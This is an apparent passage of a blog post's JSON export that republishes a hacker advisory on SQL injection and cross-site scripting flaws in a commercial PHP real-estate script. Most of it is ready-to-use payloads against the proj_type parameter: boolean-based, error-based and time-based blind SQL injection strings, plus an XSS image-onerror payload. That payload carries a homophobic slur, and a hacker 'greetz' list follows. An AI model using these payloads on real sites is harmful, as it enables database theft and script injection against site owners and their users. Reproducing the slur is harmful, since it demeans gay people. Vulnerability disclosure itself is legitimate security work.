http:\/\/localhost\/advance-realestate\/search-results.php?Projectmain=&bedrooms=&maxprice=&proj_type=[SQL]&search=r00t&searchtext=&sell_price=111
http:\/\/localhost\/advance-realestate\/search-results.php?Projectmain=&bedrooms=&maxprice=&proj_type=[XSS]&search=r00t&searchtext=&sell_price=111<\/p>\n[O] Proof of concept<\/p>\n[SQL]Parameter: proj_type (GET)
Type: boolean-based blind
Title: OR boolean-based blind – WHERE or HAVING clause (NOT – MySQL comment)
Payload: Projectmain=&proj_type=%’ OR NOT 7852=7852#&searchtext=&sell_price=111&maxprice=&bedrooms=&search=r00t<\/p>\n
Type: error-based
Title: MySQL >= 5.6 AND error-based – WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)
Payload: Projectmain=&proj_type=%’ AND GTID_SUBSET(CONCAT(0x7162706a71,(SELECT (ELT(7736=7736,1))),0x7178717871),7736) AND ‘jCym%’=’jCym&searchtext=&sell_price=111&maxprice=&bedrooms=&search=r00t<\/p>\n
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: Projectmain=&proj_type=%’ AND (SELECT 6632 FROM (SELECT(SLEEP(5)))NRLb) AND ‘IbJm%’=’IbJm&searchtext=&sell_price=111&maxprice=&bedrooms=&search=r00t<\/p>\n[XSS]
http:\/\/localhost\/advance-realestate\/advance-realestate\/search-results.php?Projectmain=&bedrooms=&maxprice=&proj_type='”><img\/src\/onerror=.1|alert`HOMODETECTED!!!`+class=VrsHckHomo>&search=r00t&searchtext=&sell_price=111<\/p>\n[x]========================================================================================================================================[x]\n[O] Greetz<\/p>\n
BatamHacker, Vrs-hCk, c0li, h4ntu, Opay, Ndet, Ipay, Paman, NoGe, H312Y, dono, pizzyroot, zxvf, Joe Chawanua, k0rea [Ntc],xx_user, s3t4n, Angela Chang, IrcMafia, str0ke, em|nem, Pandoe, Ronny ^s0n g0ku^<\/p>\n[x]========================================================================================================================================[x]\n","protected":false},"excerpt":{"rendered":"
[x]========================================================================================================================================[x]| Title : Readymade Real Estate Script Blind SQL & XSS Vulnerabilities| Software : Advanced Real Estate Script| Last Update : 12\/07\/24| First Release: 25\/01\/22| Vendor : http:\/\/www.i-netsolution.com\/| Date : 30 Agustus 2024| Author : OoN_Boy[x]========================================================================================================================================[x]| Technology : PHP| Database : MySQL| Price : $100| Description : The real estate market is full of interesting …<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-58554","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/58554","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=58554"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/58554\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=58554"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=58554"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=58554"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}